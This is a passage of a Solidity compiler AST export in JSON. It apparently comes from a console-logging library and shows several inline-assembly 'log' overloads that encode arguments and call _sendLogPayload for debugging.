22","nodeType":"YulLiteral","src":"8228:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"8234:2:22","nodeType":"YulIdentifier","src":"8234:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8221:6:22","nodeType":"YulIdentifier","src":"8221:6:22"},"nativeSrc":"8221:16:22","nodeType":"YulFunctionCall","src":"8221:16:22"},"nativeSrc":"8221:16:22","nodeType":"YulExpressionStatement","src":"8221:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8257:4:22","nodeType":"YulLiteral","src":"8257:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"8263:2:22","nodeType":"YulIdentifier","src":"8263:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8250:6:22","nodeType":"YulIdentifier","src":"8250:6:22"},"nativeSrc":"8250:16:22","nodeType":"YulFunctionCall","src":"8250:16:22"},"nativeSrc":"8250:16:22","nodeType":"YulExpressionStatement","src":"8250:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8286:4:22","nodeType":"YulLiteral","src":"8286:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"8292:2:22","nodeType":"YulIdentifier","src":"8292:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8279:6:22","nodeType":"YulIdentifier","src":"8279:6:22"},"nativeSrc":"8279:16:22","nodeType":"YulFunctionCall","src":"8279:16:22"},"nativeSrc":"8279:16:22","nodeType":"YulExpressionStatement","src":"8279:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8315:4:22","nodeType":"YulLiteral","src":"8315:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"8321:2:22","nodeType":"YulIdentifier","src":"8321:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8308:6:22","nodeType":"YulIdentifier","src":"8308:6:22"},"nativeSrc":"8308:16:22","nodeType":"YulFunctionCall","src":"8308:16:22"},"nativeSrc":"8308:16:22","nodeType":"YulExpressionStatement","src":"8308:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33850,"isOffset":false,"isSlot":false,"src":"8205:2:22","valueSize":1},{"declaration":33853,"isOffset":false,"isSlot":false,"src":"8234:2:22","valueSize":1},{"declaration":33856,"isOffset":false,"isSlot":false,"src":"8263:2:22","valueSize":1},{"declaration":33859,"isOffset":false,"isSlot":false,"src":"8292:2:22","valueSize":1},{"declaration":33862,"isOffset":false,"isSlot":false,"src":"8321:2:22","valueSize":1}],"id":33870,"nodeType":"InlineAssembly","src":"8169:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7265:3:22","parameters":{"id":33847,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33844,"mutability":"mutable","name":"p0","nameLocation":"7277:2:22","nodeType":"VariableDeclaration","scope":33872,"src":"7269:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33843,"name":"address","nodeType":"ElementaryTypeName","src":"7269:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33846,"mutability":"mutable","name":"p1","nameLocation":"7289:2:22","nodeType":"VariableDeclaration","scope":33872,"src":"7281:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33845,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7281:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"7268:24:22"},"returnParameters":{"id":33848,"nodeType":"ParameterList","parameters":[],"src":"7307:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33896,"nodeType":"FunctionDefinition","src":"8346:530:22","nodes":[],"body":{"id":33895,"nodeType":"Block","src":"8394:482:22","nodes":[],"statements":[{"assignments":[33880],"declarations":[{"constant":false,"id":33880,"mutability":"mutable","name":"m0","nameLocation":"8412:2:22","nodeType":"VariableDeclaration","scope":33895,"src":"8404:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33879,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8404:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33881,"nodeType":"VariableDeclarationStatement","src":"8404:10:22"},{"assignments":[33883],"declarations":[{"constant":false,"id":33883,"mutability":"mutable","name":"m1","nameLocation":"8432:2:22","nodeType":"VariableDeclaration","scope":33895,"src":"8424:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33882,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8424:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33884,"nodeType":"VariableDeclarationStatement","src":"8424:10:22"},{"assignments":[33886],"declarations":[{"constant":false,"id":33886,"mutability":"mutable","name":"m2","nameLocation":"8452:2:22","nodeType":"VariableDeclaration","scope":33895,"src":"8444:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33885,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8444:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33887,"nodeType":"VariableDeclarationStatement","src":"8444:10:22"},{"AST":{"nativeSrc":"8473:244:22","nodeType":"YulBlock","src":"8473:244:22","statements":[{"nativeSrc":"8487:17:22","nodeType":"YulAssignment","src":"8487:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"8499:4:22","nodeType":"YulLiteral","src":"8499:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"8493:5:22","nodeType":"YulIdentifier","src":"8493:5:22"},"nativeSrc":"8493:11:22","nodeType":"YulFunctionCall","src":"8493:11:22"},"variableNames":[{"name":"m0","nativeSrc":"8487:2:22","nodeType":"YulIdentifier","src":"8487:2:22"}]},{"nativeSrc":"8517:17:22","nodeType":"YulAssignment","src":"8517:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"8529:4:22","nodeType":"YulLiteral","src":"8529:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"8523:5:22","nodeType":"YulIdentifier","src":"8523:5:22"},"nativeSrc":"8523:11:22","nodeType":"YulFunctionCall","src":"8523:11:22"},"variableNames":[{"name":"m1","nativeSrc":"8517:2:22","nodeType":"YulIdentifier","src":"8517:2:22"}]},{"nativeSrc":"8547:17:22","nodeType":"YulAssignment","src":"8547:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"8559:4:22","nodeType":"YulLiteral","src":"8559:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"8553:5:22","nodeType":"YulIdentifier","src":"8553:5:22"},"nativeSrc":"8553:11:22","nodeType":"YulFunctionCall","src":"8553:11:22"},"variableNames":[{"name":"m2","nativeSrc":"8547:2:22","nodeType":"YulIdentifier","src":"8547:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8632:4:22","nodeType":"YulLiteral","src":"8632:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"8638:10:22","nodeType":"YulLiteral","src":"8638:10:22","type":"","value":"0x853c4849"}],"functionName":{"name":"mstore","nativeSrc":"8625:6:22","nodeType":"YulIdentifier","src":"8625:6:22"},"nativeSrc":"8625:24:22","nodeType":"YulFunctionCall","src":"8625:24:22"},"nativeSrc":"8625:24:22","nodeType":"YulExpressionStatement","src":"8625:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8669:4:22","nodeType":"YulLiteral","src":"8669:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"8675:2:22","nodeType":"YulIdentifier","src":"8675:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8662:6:22","nodeType":"YulIdentifier","src":"8662:6:22"},"nativeSrc":"8662:16:22","nodeType":"YulFunctionCall","src":"8662:16:22"},"nativeSrc":"8662:16:22","nodeType":"YulExpressionStatement","src":"8662:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8698:4:22","nodeType":"YulLiteral","src":"8698:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"8704:2:22","nodeType":"YulIdentifier","src":"8704:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8691:6:22","nodeType":"YulIdentifier","src":"8691:6:22"},"nativeSrc":"8691:16:22","nodeType":"YulFunctionCall","src":"8691:16:22"},"nativeSrc":"8691:16:22","nodeType":"YulExpressionStatement","src":"8691:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33880,"isOffset":false,"isSlot":false,"src":"8487:2:22","valueSize":1},{"declaration":33883,"isOffset":false,"isSlot":false,"src":"8517:2:22","valueSize":1},{"declaration":33886,"isOffset":false,"isSlot":false,"src":"8547:2:22","valueSize":1},{"declaration":33874,"isOffset":false,"isSlot":false,"src":"8675:2:22","valueSize":1},{"declaration":33876,"isOffset":false,"isSlot":false,"src":"8704:2:22","valueSize":1}],"id":33888,"nodeType":"InlineAssembly","src":"8464:253:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33890,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8742:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":33891,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8748:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":33889,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"8726:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33892,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8726:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33893,"nodeType":"ExpressionStatement","src":"8726:27:22"},{"AST":{"nativeSrc":"8772:98:22","nodeType":"YulBlock","src":"8772:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"8793:4:22","nodeType":"YulLiteral","src":"8793:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"8799:2:22","nodeType":"YulIdentifier","src":"8799:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8786:6:22","nodeType":"YulIdentifier","src":"8786:6:22"},"nativeSrc":"8786:16:22","nodeType":"YulFunctionCall","src":"8786:16:22"},"nativeSrc":"8786:16:22","nodeType":"YulExpressionStatement","src":"8786:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8822:4:22","nodeType":"YulLiteral","src":"8822:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"8828:2:22","nodeType":"YulIdentifier","src":"8828:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8815:6:22","nodeType":"YulIdentifier","src":"8815:6:22"},"nativeSrc":"8815:16:22","nodeType":"YulFunctionCall","src":"8815:16:22"},"nativeSrc":"8815:16:22","nodeType":"YulExpressionStatement","src":"8815:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8851:4:22","nodeType":"YulLiteral","src":"8851:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"8857:2:22","nodeType":"YulIdentifier","src":"8857:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8844:6:22","nodeType":"YulIdentifier","src":"8844:6:22"},"nativeSrc":"8844:16:22","nodeType":"YulFunctionCall","src":"8844:16:22"},"nativeSrc":"8844:16:22","nodeType":"YulExpressionStatement","src":"8844:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33880,"isOffset":false,"isSlot":false,"src":"8799:2:22","valueSize":1},{"declaration":33883,"isOffset":false,"isSlot":false,"src":"8828:2:22","valueSize":1},{"declaration":33886,"isOffset":false,"isSlot":false,"src":"8857:2:22","valueSize":1}],"id":33894,"nodeType":"InlineAssembly","src":"8763:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8355:3:22","parameters":{"id":33877,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33874,"mutability":"mutable","name":"p0","nameLocation":"8364:2:22","nodeType":"VariableDeclaration","scope":33896,"src":"8359:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33873,"name":"bool","nodeType":"ElementaryTypeName","src":"8359:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":33876,"mutability":"mutable","name":"p1","nameLocation":"8376:2:22","nodeType":"VariableDeclaration","scope":33896,"src":"8368:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33875,"name":"address","nodeType":"ElementaryTypeName","src":"8368:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8358:21:22"},"returnParameters":{"id":33878,"nodeType":"ParameterList","parameters":[],"src":"8394:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33920,"nodeType":"FunctionDefinition","src":"8882:524:22","nodes":[],"body":{"id":33919,"nodeType":"Block","src":"8927:479:22","nodes":[],"statements":[{"assignments":[33904],"declarations":[{"constant":false,"id":33904,"mutability":"mutable","name":"m0","nameLocation":"8945:2:22","nodeType":"VariableDeclaration","scope":33919,"src":"8937:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33903,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8937:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33905,"nodeType":"VariableDeclarationStatement","src":"8937:10:22"},{"assignments":[33907],"declarations":[{"constant":false,"id":33907,"mutability":"mutable","name":"m1","nameLocation":"8965:2:22","nodeType":"VariableDeclaration","scope":33919,"src":"8957:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33906,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8957:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33908,"nodeType":"VariableDeclarationStatement","src":"8957:10:22"},{"assignments":[33910],"declarations":[{"constant":false,"id":33910,"mutability":"mutable","name":"m2","nameLocation":"8985:2:22","nodeType":"VariableDeclaration","scope":33919,"src":"8977:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33909,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8977:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33911,"nodeType":"VariableDeclarationStatement","src":"8977:10:22"},{"AST":{"nativeSrc":"9006:241:22","nodeType":"YulBlock","src":"9006:241:22","statements":[{"nativeSrc":"9020:17:22","nodeType":"YulAssignment","src":"9020:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"9032:4:22","nodeType":"YulLiteral","src":"9032:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"9026:5:22","nodeType":"YulIdentifier","src":"9026:5:22"},"nativeSrc":"9026:11:22","nodeType":"YulFunctionCall","src":"9026:11:22"},"variableNames":[{"name":"m0","nativeSrc":"9020:2:22","nodeType":"YulIdentifier","src":"9020:2:22"}]},{"nativeSrc":"9050:17:22","nodeType":"YulAssignment","src":"9050:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"9062:4:22","nodeType":"YulLiteral","src":"9062:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"9056:5:22","nodeType":"YulIdentifier","src":"9056:5:22"},"nativeSrc":"9056:11:22","nodeType":"YulFunctionCall","src":"9056:11:22"},"variableNames":[{"name":"m1","nativeSrc":"9050:2:22","nodeType":"YulIdentifier","src":"9050:2:22"}]},{"nativeSrc":"9080:17:22","nodeType":"YulAssignment","src":"9080:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"9092:4:22","nodeType":"YulLiteral","src":"9092:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"9086:5:22","nodeType":"YulIdentifier","src":"9086:5:22"},"nativeSrc":"9086:11:22","nodeType":"YulFunctionCall","src":"9086:11:22"},"variableNames":[{"name":"m2","nativeSrc":"9080:2:22","nodeType":"YulIdentifier","src":"9080:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9162:4:22","nodeType":"YulLiteral","src":"9162:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"9168:10:22","nodeType":"YulLiteral","src":"9168:10:22","type":"","value":"0x2a110e83"}],"functionName":{"name":"mstore","nativeSrc":"9155:6:22","nodeType":"YulIdentifier","src":"9155:6:22"},"nativeSrc":"9155:24:22","nodeType":"YulFunctionCall","src":"9155:24:22"},"nativeSrc":"9155:24:22","nodeType":"YulExpressionStatement","src":"9155:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9199:4:22","nodeType":"YulLiteral","src":"9199:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"9205:2:22","nodeType":"YulIdentifier","src":"9205:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9192:6:22","nodeType":"YulIdentifier","src":"9192:6:22"},"nativeSrc":"9192:16:22","nodeType":"YulFunctionCall","src":"9192:16:22"},"nativeSrc":"9192:16:22","nodeType":"YulExpressionStatement","src":"9192:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9228:4:22","nodeType":"YulLiteral","src":"9228:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"9234:2:22","nodeType":"YulIdentifier","src":"9234:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9221:6:22","nodeType":"YulIdentifier","src":"9221:6:22"},"nativeSrc":"9221:16:22","nodeType":"YulFunctionCall","src":"9221:16:22"},"nativeSrc":"9221:16:22","nodeType":"YulExpressionStatement","src":"9221:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33904,"isOffset":false,"isSlot":false,"src":"9020:2:22","valueSize":1},{"declaration":33907,"isOffset":false,"isSlot":false,"src":"9050:2:22","valueSize":1},{"declaration":33910,"isOffset":false,"isSlot":false,"src":"9080:2:22","valueSize":1},{"declaration":33898,"isOffset":false,"isSlot":false,"src":"9205:2:22","valueSize":1},{"declaration":33900,"isOffset":false,"isSlot":false,"src":"9234:2:22","valueSize":1}],"id":33912,"nodeType":"InlineAssembly","src":"8997:250:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33914,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9272:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":33915,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9278:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":33913,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"9256:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9256:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33917,"nodeType":"ExpressionStatement","src":"9256:27:22"},{"AST":{"nativeSrc":"9302:98:22","nodeType":"YulBlock","src":"9302:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"9323:4:22","nodeType":"YulLiteral","src":"9323:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"9329:2:22","nodeType":"YulIdentifier","src":"9329:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9316:6:22","nodeType":"YulIdentifier","src":"9316:6:22"},"nativeSrc":"9316:16:22","nodeType":"YulFunctionCall","src":"9316:16:22"},"nativeSrc":"9316:16:22","nodeType":"YulExpressionStatement","src":"9316:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9352:4:22","nodeType":"YulLiteral","src":"9352:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"9358:2:22","nodeType":"YulIdentifier","src":"9358:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9345:6:22","nodeType":"YulIdentifier","src":"9345:6:22"},"nativeSrc":"9345:16:22","nodeType":"YulFunctionCall","src":"9345:16:22"},"nativeSrc":"9345:16:22","nodeType":"YulExpressionStatement","src":"9345:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9381:4:22","nodeType":"YulLiteral","src":"9381:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"9387:2:22","nodeType":"YulIdentifier","src":"9387:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9374:6:22","nodeType":"YulIdentifier","src":"9374:6:22"},"nativeSrc":"9374:16:22","nodeType":"YulFunctionCall","src":"9374:16:22"},"nativeSrc":"9374:16:22","nodeType":"YulExpressionStatement","src":"9374:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33904,"isOffset":false,"isSlot":false,"src":"9329:2:22","valueSize":1},{"declaration":33907,"isOffset":false,"isSlot":false,"src":"9358:2:22","valueSize":1},{"declaration":33910,"isOffset":false,"isSlot":false,"src":"9387:2:22","valueSize":1}],"id":33918,"nodeType":"InlineAssembly","src":"9293:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8891:3:22","parameters":{"id":33901,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33898,"mutability":"mutable","name":"p0","nameLocation":"8900:2:22","nodeType":"VariableDeclaration","scope":33920,"src":"8895:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33897,"name":"bool","nodeType":"ElementaryTypeName","src":"8895:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":33900,"mutability":"mutable","name":"p1","nameLocation":"8909:2:22","nodeType":"VariableDeclaration","scope":33920,"src":"8904:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33899,"name":"bool","nodeType":"ElementaryTypeName","src":"8904:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8894:18:22"},"returnParameters":{"id":33902,"nodeType":"ParameterList","parameters":[],"src":"8927:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33944,"nodeType":"FunctionDefinition","src":"9412:530:22","nodes":[],"body":{"id":33943,"nodeType":"Block","src":"9460:482:22","nodes":[],"statements":[{"assignments":[33928],"declarations":[{"constant":false,"id":33928,"mutability":"mutable","name":"m0","nameLocation":"9478:2:22","nodeType":"VariableDeclaration","scope":33943,"src":"9470:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33927,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9470:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33929,"nodeType":"VariableDeclarationStatement","src":"9470:10:22"},{"assignments":[33931],"declarations":[{"constant":false,"id":33931,"mutability":"mutable","name":"m1","nameLocation":"9498:2:22","nodeType":"VariableDeclaration","scope":33943,"src":"9490:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33930,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9490:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33932,"nodeType":"VariableDeclarationStatement","src":"9490:10:22"},{"assignments":[33934],"declarations":[{"constant":false,"id":33934,"mutability":"mutable","name":"m2","nameLocation":"9518:2:22","nodeType":"VariableDeclaration","scope":33943,"src":"9510:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33933,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9510:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33935,"nodeType":"VariableDeclarationStatement","src":"9510:10:22"},{"AST":{"nativeSrc":"9539:244:22","nodeType":"YulBlock","src":"9539:244:22","statements":[{"nativeSrc":"9553:17:22","nodeType":"YulAssignment","src":"9553:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"9565:4:22","nodeType":"YulLiteral","src":"9565:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"9559:5:22","nodeType":"YulIdentifier","src":"9559:5:22"},"nativeSrc":"9559:11:22","nodeType":"YulFunctionCall","src":"9559:11:22"},"variableNames":[{"name":"m0","nativeSrc":"9553:2:22","nodeType":"YulIdentifier","src":"9553:2:22"}]},{"nativeSrc":"9583:17:22","nodeType":"YulAssignment","src":"9583:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"9595:4:22","nodeType":"YulLiteral","src":"9595:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"9589:5:22","nodeType":"YulIdentifier","src":"9589:5:22"},"nativeSrc":"9589:11:22","nodeType":"YulFunctionCall","src":"9589:11:22"},"variableNames":[{"name":"m1","nativeSrc":"9583:2:22","nodeType":"YulIdentifier","src":"9583:2:22"}]},{"nativeSrc":"9613:17:22","nodeType":"YulAssignment","src":"9613:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"9625:4:22","nodeType":"YulLiteral","src":"9625:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"9619:5:22","nodeType":"YulIdentifier","src":"9619:5:22"},"nativeSrc":"9619:11:22","nodeType":"YulFunctionCall","src":"9619:11:22"},"variableNames":[{"name":"m2","nativeSrc":"9613:2:22","nodeType":"YulIdentifier","src":"9613:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9698:4:22","nodeType":"YulLiteral","src":"9698:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"9704:10:22","nodeType":"YulLiteral","src":"9704:10:22","type":"","value":"0x399174d3"}],"functionName":{"name":"mstore","nativeSrc":"9691:6:22","nodeType":"YulIdentifier","src":"9691:6:22"},"nativeSrc":"9691:24:22","nodeType":"YulFunctionCall","src":"9691:24:22"},"nativeSrc":"9691:24:22","nodeType":"YulExpressionStatement","src":"9691:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9735:4:22","nodeType":"YulLiteral","src":"9735:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"9741:2:22","nodeType":"YulIdentifier","src":"9741:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9728:6:22","nodeType":"YulIdentifier","src":"9728:6:22"},"nativeSrc":"9728:16:22","nodeType":"YulFunctionCall","src":"9728:16:22"},"nativeSrc":"9728:16:22","nodeType":"YulExpressionStatement","src":"9728:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"9764:4:22","nodeType":"YulLiteral","src":"9764:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"9770:2:22","nodeType":"YulIdentifier","src":"9770:2:22"}],"functionName":{"name":"mstore","nativeSrc":"9757:6:22","nodeType":"YulIdentifier","src":"9757:6:22"},"nativeSrc":"9757:16:22","nodeType":"YulFunctionCall","src":"9757:16:22"},"nativeSrc":"9757:16:22","nodeType":"YulExpressionStatement","src":"9757:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33928,"isOffset":false,"isSlot":false,"src":"9553:2:22","valueSize":1},{"declaration":33931,"isOffset":false,"isSlot":false,"src":"9583:2:22","valueSize":1},{"declaration":33934,"isOffset":false,"isSlot":false,"src":"9613:2:22","valueSize":1},{"declaration":33922,"isOffset":false,"isSlot":false,"src":"9741:2:22","valueSize":1},{"declaration":33924,"isOffset":false,"isSlot":false,"src":"9770:2:22","valueSize":1}],"id":33936,"nodeType":"InlineAssembly","src":"9530:253:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33938,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9808:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 